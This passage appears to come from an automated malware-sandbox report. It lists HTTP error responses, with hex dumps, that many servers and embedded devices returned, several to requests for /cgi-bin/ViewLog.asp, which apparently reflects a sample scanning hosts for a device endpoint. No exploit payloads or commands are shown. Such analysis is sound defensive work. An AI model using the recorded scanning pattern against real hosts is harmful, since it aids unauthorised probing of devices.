64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 48 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 42 4f 44 59 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 42 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 50 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 41 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 41 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 48 52 20 7b 63 6f 6c 6f 72 20 3a 20 23 35 32 35 44 37 36 3b 7d 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 20 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 2d 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 68 31 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 70 3e 3c 62 3e 74 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 72 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 6d 65 73 73 61 67 65 3c 2f 62 3e 20 3c 75 3e 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 75 3e 3c 2f 70 3e 3c 70 3e 3c 62 3e 64 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 3c 75 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 28 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 29 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 75 3e 3c 2f 70 3e 3c 48 52 20 73 69 7a 65 3d
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbidden
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnlyConnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Nov 2023 04:17:32 GMTConnection: Close
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnlyConnection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlAccess-Control-Allow-Origin: *Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONSAccess-Control-Allow-Headers: content-type, acceptConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlX-Frame-Options: SAMEORIGINContent-Length: 341Connection: closeDate: Thu, 23 Nov 2023 05:17:26 GMTServer: lighttpd/1.4.55Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 Not Found</title> </head> <body> <h1>404 Not Found</h1> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Apache-Coyote/1.1Content-Type: text/html;charset=utf-8Content-Language: enContent-Length: 1007Date: Thu, 23 Nov 2023 04:17:42 GMTData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 37 2e 30 2e 35 32 20 28 55 62 75 6e 74 75 29 20 2d 20 45 72 72 6f 72 20 72 65 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3c 21 2d 2d 48 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 48 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 48 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 42 4f 44 59 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 42 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 50 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 41 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 41 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 48 52 20 7b 63 6f 6c 6f 72 20 3a 20 23 35 32 35 44 37 36 3b 7d 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 20 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 2d 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 68 31 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 70 3e 3c 62 3e 74 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 72 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 6d 65 73 73 61 67 65 3c 2f 62 3e 20 3c 75 3e 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 75 3e 3c 2f 70 3e 3c 70 3e 3c 62 3e 64 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 3c 75 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 75 3e 3c 2f 70 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Nov 2023 04:17:49 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.1e-fips mod_fcgid/2.3.9 PHP/7.4.28Content-Length: 217Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /cgi-bin/ViewLog.asp was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html;charset=UTF-8Content-Length: 0Connection: closeCache-control: no-cache
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html;charset=UTF-8Content-Length: 0Connection: closeCache-control: no-cache
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Nov 2023 09:17:50 GMTServer: WebsX-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffX-XSS-Protection: 1;mode=blockCache-Control: no-storeContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.21.6Date: Thu, 23 Nov 2023 04:17:51 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 31 2e 36 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.21.6</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html;charset=UTF-8Content-Length: 0Connection: closeCache-control: no-cache
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=us-asciiServer: Microsoft-HTTPAPI/2.0Date: Thu, 23 Nov 2023 04:17:53 GMTConnection: closeContent-Length: 326Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 35 30 33 2e 20 54 68 65 20 73 65 72 76 69 63 65 20 69 73 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Service Unavailable</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Service Unavailable</h2><hr><p>HTTP Error 503. The service is unavailable.</p></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html;charset=UTF-8Content-Length: 0Connection: closeCache-control: no-cache
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Thu, 23 Nov 2023 04:17:56 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: Web serverDate: Thu, 23 Nov 2023 04:17:55 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 57 65 62 20 73 65 72 76 65 72 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>Web server</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundserver: owsdcontent-type: text/htmlcontent-length: 38Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 NOT FOUNDServer: Werkzeug/3.0.1 Python/3.11.5Date: Thu, 23 Nov 2023 04:18:02 GMTContent-Type: text/html; charset=utf-8Content-Length: 207Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainDate: Thu, 23 Nov 2023 04:18:03 GMTContent-Length: 18Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainDate: Thu, 23 Nov 2023 04:18:04 GMTContent-Length: 18Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 23 Nov 2023 07:18:03 GMTServer: DNVRS-WebsCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: Apache-Coyote/1.1Content-Type: text/html;charset=utf-8Content-Language: enContent-Length: 1050Date: Thu, 23 Nov 2023 04:18:07 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeTransfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 23 Nov 2023 04:18:08 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveContent-Encoding: gzipData Raw: 37 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 fa 86 7a 86 16 7a 06 0a 1a a1 49 a5 79 25 a5 9a c8 6a f5 61 a6 eb 43 5d 06 00 37 d7 58 cc a2 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 7b(HML),I310Q/Qp/K&T$dCAfAyyyzzIy%jaC]7X0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: mini_httpd/1.19 19dec2003Date: Thu, 23 Nov 2023 06:12:28 GMTCache-Control: no-cache,no-storeContent-Type: text/html; charset=%sConnection: closeData Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 20 4c 49 4e 4b 3d 22 23 32 30 32 30 66 66 22 20 56 4c 49 4e 4b 3d 22 23 34 30 34 30 63 63 22 3e 0a 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 0a 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 6e 69 5f 68 74 74 70 64 2f 22 3e 6d 69 6e 69 5f 68 74 74 70 64 2f 31 2e 31 39 20 31 39 64 65 63 32 30 30 33 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY BGCOLOR="#cc9999" TEXT="#000000" LINK="#2020ff" VLINK="#4040cc"><H4>404 Not Found</H4>File not found.<HR><ADDRESS><A HREF="http://www.acme.com/software/mini_httpd/">mini_httpd/1.19 19dec2003</A></ADDRESS></BODY></HTML>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 Forbidden
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Thu, 23 Nov 2023 04:18:13 GMTContent-Length: 19Connection: closeData Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCache-control: no-cacheServer: Ubicom/1.1Content-Length: 9Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 341Connection: closeDate: Thu, 23 Nov 2023 04:18:16 GMTServer: lighttpd/1.4.54Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 